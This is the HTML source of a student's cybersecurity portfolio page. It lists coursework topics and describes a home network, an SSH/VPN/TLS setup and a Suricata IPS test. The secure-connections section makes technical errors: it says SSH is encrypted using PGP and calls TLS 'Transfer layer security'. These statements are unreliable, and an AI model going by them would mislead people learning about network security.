src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> 